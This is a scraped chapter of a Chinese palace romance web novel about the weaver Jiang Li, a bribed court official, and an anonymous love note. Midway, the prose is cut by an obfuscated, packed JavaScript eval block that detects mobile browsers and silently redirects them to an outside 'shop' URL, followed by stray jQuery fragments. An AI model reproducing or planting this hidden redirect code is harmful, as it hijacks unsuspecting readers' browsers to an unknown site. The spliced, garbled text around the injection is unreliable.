此人来者不善,姜离心下顿感不妙,额上直突突冒冷汗,出于礼节,她只能强装镇定,屈身行礼道。
“妾正是陈媪养女,不知女官所为何事?”
她抬起头不安瞥了那紫衣女官一眼。女官冷哼一声,挖了她一眼,慢悠悠道。
“你可知你如今已是违背了宫中禁令,现下我要捉你去织室认罪!”
说完便抓姜离手臂,硬拽着她往院外走。姜离惊慌,一边努力挣脱,一边辩解道。
“不知妾身犯了何事?女官也该给个说法。”
屋内的陈媪也听见了院中的动静,推门跑出,见那女官硬拽着姜离的手不肯放,拦在姜离身前对那女官急急道。
“女官且慢,小儿无知,触怒诸位大人,我一定仔细管教,还请大人们消消气,不要与我这愚儿计较。”
女官松开姜离,抬起下巴,冷眼相对,须臾傲然道。
“你的好女儿居心不良,有意毁坏贵人衣物。陈女官也在宫中许多年,怎的连这点规矩都不懂?”
女官觑了觑缩在陈媪身后的姜离,盯了她片刻才把眼风收起,继续方才的话题。
“既然违反了宫中禁令,就应该受处罚!你爱子心切,我也能理解,早知如此,何必当初。陈女官勿需多言,我今日就要带她去认罪!”
“我没有毁坏贵人衣物!”
铿锵有力的嗓音自瘦小的女孩发出,那个瘦弱的女孩挣开了女官,笔直站在院中,面色凛然,全无方才的胆怯。
女官吃了一惊,片刻才缓缓道。
“这可不是由你说了算!织室众人可看得真真切切!”
陈媪见姜离态度恳切,便信不是由她做下的,左思右想后遂拉着那女官的手殷殷笑道。
“小儿无知,弄坏了贵人的宝衣,都是我这个母亲的不是。我给您赔个礼。”
她旋即转身疾步,向姜离甩了一个眼色,姜离立刻心领神会,跟在陈媪身后一齐入了屋内。须臾,陈媪捧着块赤金,笑着将它递到那女官手上,又低声道。
“小小心意,还望贵人收下。”
女官见状,瞥了瞥手上那块沉甸甸的赤金,阴沉的面色豁然开朗,如同拨云见日般。
“陈女官,那我这便回去复命了。”
临走前那女官顿了顿,半旋过身子,斜视肃立一旁的姜离,露出讥讽的笑容。
“还有一句忘记交代了,看好你的女儿,可别再叫她丢脸了。”
她橘红色的裙摆随北风展开,拂过院墙边一簇簇枯黄的杂草,那堆枯草忽然来了精神,僵硬了多日的身躯剧烈地晃起来,过了很久才渐渐平息。
经过此次事件后,这些时日陈媪不再准许姜离离开她的视线。姜离被拘束在这方小小的院落里,满心无奈,其中酸楚滋味更是不必说。她再也无法秉烛夜游东观,只能在织布机前长吁短叹。神思恍惚间,又忆起那少年于雪月之下与她的约定,她不禁暗暗咒骂这少年蛮横无理。一阵气血翻涌,她往脸上摸去,但觉滚烫。行至铜镜前,却见两颊酡红。她慌张辞镜,却有莫名其妙的心悸袭来。为何会无端地脸红心跳?她分明从未做亏心事。
那边的陈媪突然唤她,姜离推开铜镜下的妆奁,从里头抓了几把脂粉往脸上胡乱抹了一把,到了陈媪面前便谎称是一时心血来潮画的妆。陈媪见她把脸涂抹得乱糟糟,一边红艳,一边又粉白,不禁捧腹大笑,口里揶揄着小猢狲。姜离顿感羞赧,好在未被察觉,她也便松下了一口气。
一日清晨她推门而出,忽感脚下传来异物感,抬脚去看,却是一团被揉皱的纸,她初时还以为是有人嬉闹而为之,后见那团纸上透着隐隐的墨痕,不禁好奇捡起展开。只见上头字体遒劲有力、清秀娟丽。正是子宁不嗣音。她将那张纸扯平了正反看了个遍,也未曾看到落款。又将那五字思来想去,也没个头绪,正好唐琬琰来取衣裙,瞧见姜离痴立院中不知拿着什么在低头端详,她便含笑走前去,轻轻拍了拍姜离肩膀,又伸出手臂搂住了姜离的脖子,昵昵问道。
“妹妹这是在看什么。看得这般认真?”
姜离看得过分投入,不觉唐琬琰趋前,一边慌张将那张纸往衣袖里塞,一边心虚地摇摇头。口里坚决否认。唐琬琰将绕在姜离脖子上的手放下,又牵起她藏在衣袖里的手,一面摇晃,一面笑道。
“好妹妹,你瞒不住我的,我全都看到了。”
又将脸庞凑到姜离耳边轻语,语气里尽是暧昧。
“怕不是哪家痴情郎看上了我们的小阿离,可惜没有那青鸟,只好亲自上阵。只是可怜了小公子。”
唐琬琰话锋一转,笑意藏不住。
“却不晓得我们阿离是个闷葫芦!”
听了唐琬琰这番解释,姜离面色羞愤交加,两道眉毛跳了跳,扬起手臂作势要朝她打去。然而到了跟前只是装腔作势,轻轻拍在唐琬琰的小臂上。
“唐姊姊你太坏了。哪有这样的事,都是你瞎编乱造!”
“是不是瞎编乱造,看一看不就清楚了?”
唐琬琰一脸坏笑,忽然将手朝她衣袖中探去。姜离惊觉她这是要抢那张纸,左手紧紧束住衣袖,右手连连朝唐琬琰那只不安分的手拍去。口里嚷嚷道。
“没有的事,都是姊姊瞎说的,不能当真的。”
她口上虽是这番说辞,却已经把身子半转,不肯再面向唐琬琰。
唐琬琰心中亦是好奇,探到姜离身前去看她,见她满脸通红,便猜想是她与某位公子有了不可言说的关系,便嬉笑道。
“是哪家的公子,不妨我遣人替你向他表明心意,莫要叫这痴心郎君苦苦等待才是!”
姜离气得跺脚,恼羞成怒叫道。
“唐姊姊,你若再无理取闹,我便再也不和你说话了。”
说着就要急急转身逃走。陈媪此时刚好推门出来,听见了唐琬琰的话,立在那檐廊下,远远的向姜离疑惑问道。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192742|148135||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“阿离,你何时瞒着我去勾搭什么痴心郎君了?还叫人苦苦等待。”
唐琬琰本欲向陈媪言说,却见她目露愠色,面色不善,只好收起方才的话,向陈媪堪堪笑道
“哪来的什么痴心郎君,是我与阿离开玩笑呢。”
她掉转过头,去看姜离,见她低眉垂首,眉间隐隐有惧意,便放缓话道。
“我说,若是哪日有了痴心郎君看上了阿离,一定要告诉我是哪家公子,我也好替她把把关。”
见是小娘子间的玩笑话,陈媪这才收敛起怒意,松下脸释然道。
“什么痴心郎君,我看那就是会耍些花言巧语的泼皮,信不得的,信不得的。”
陈媪连连摇头,直抒她对这类人的厌恶,又接着道。
“阿离可莫要信泼皮的鬼话,这些人都是黑心肝的精怪化的,会些奇淫巧计,专骗你这样的小娘子,那些瞎了眼的,被猪油蒙了心的,跟了去,结果连骨头都不剩的。可怜,可怜!”
唐琬琰自然不信陈媪的话,哈哈大笑。
“也不全是精怪化的。那司马相如弹了一首凤求凰,引得卓文君一见倾心,甚至发下白头不相离的誓言,不也成了一段佳话?”
陈媪是个粗人,也不知司马相如何许人,只自顾自摇头,甚至把姜离耳朵捂住,惶惶道。
“这是什么淫事?不就是私奔?这等淫邪,小娘子听不得的,听了要学坏的。唐娘子你也不要说了,快住口罢。”
见陈媪不懂,唐琬琰几回忍俊不禁,最后不再提司马相如和卓文君,话题一转,开始提及明日的宴会。陈媪想起前几日给唐琬琰熨的新衣裙,牵着唐琬琰的手就往屋里去,拿着那套衣裙在她身上来回比划,满口直夸唐琬琰容色与衣裙甚般配。唐琬琰见姜离未跟进来,又把姜离叫进屋里,欢欢喜喜问她,姜离点头称好看。
她看着姜离身上的衣裙已有些旧,转头问陈媪为何不给她也做件新衣裳。陈媪温柔抚着唐琬琰肩头,笑着摇摇头,直道姜离没有那富贵命。
唐琬琰表面上不置可否,心里却觉得陈媪偏心,姜离好歹也是她养大的,怎的就这般淡漠?后又觉得奇怪,姜离既是凉州太守家的女儿,为何不回凉州,留在皇宫里?
到了夜里,唐琬琰借口睡不着来找姜离,刚钻进姜离的被窝,就挨着她低声道。
“那公子有没有来找你?”
姜离闭目凝神,只摇了摇头。
唐琬琰却目露狐疑,直起身子坐在床上,开始细细分析。
“这不对。”
她以前和姊姊们听说书人讲的可不是这样的,男子向心仪的女子表达心意之后却遭到女子家人反对,一定会频频幽会,最后肯定会私奔!可是这个公子抛下一张无头无尾的纸,也不道明姓名,此后再无音讯,倒是叫她摸不着头脑了。
唐琬琰轻轻晃了晃旁边的姜离。
“阿离,你难道真的不想知道他是谁么?”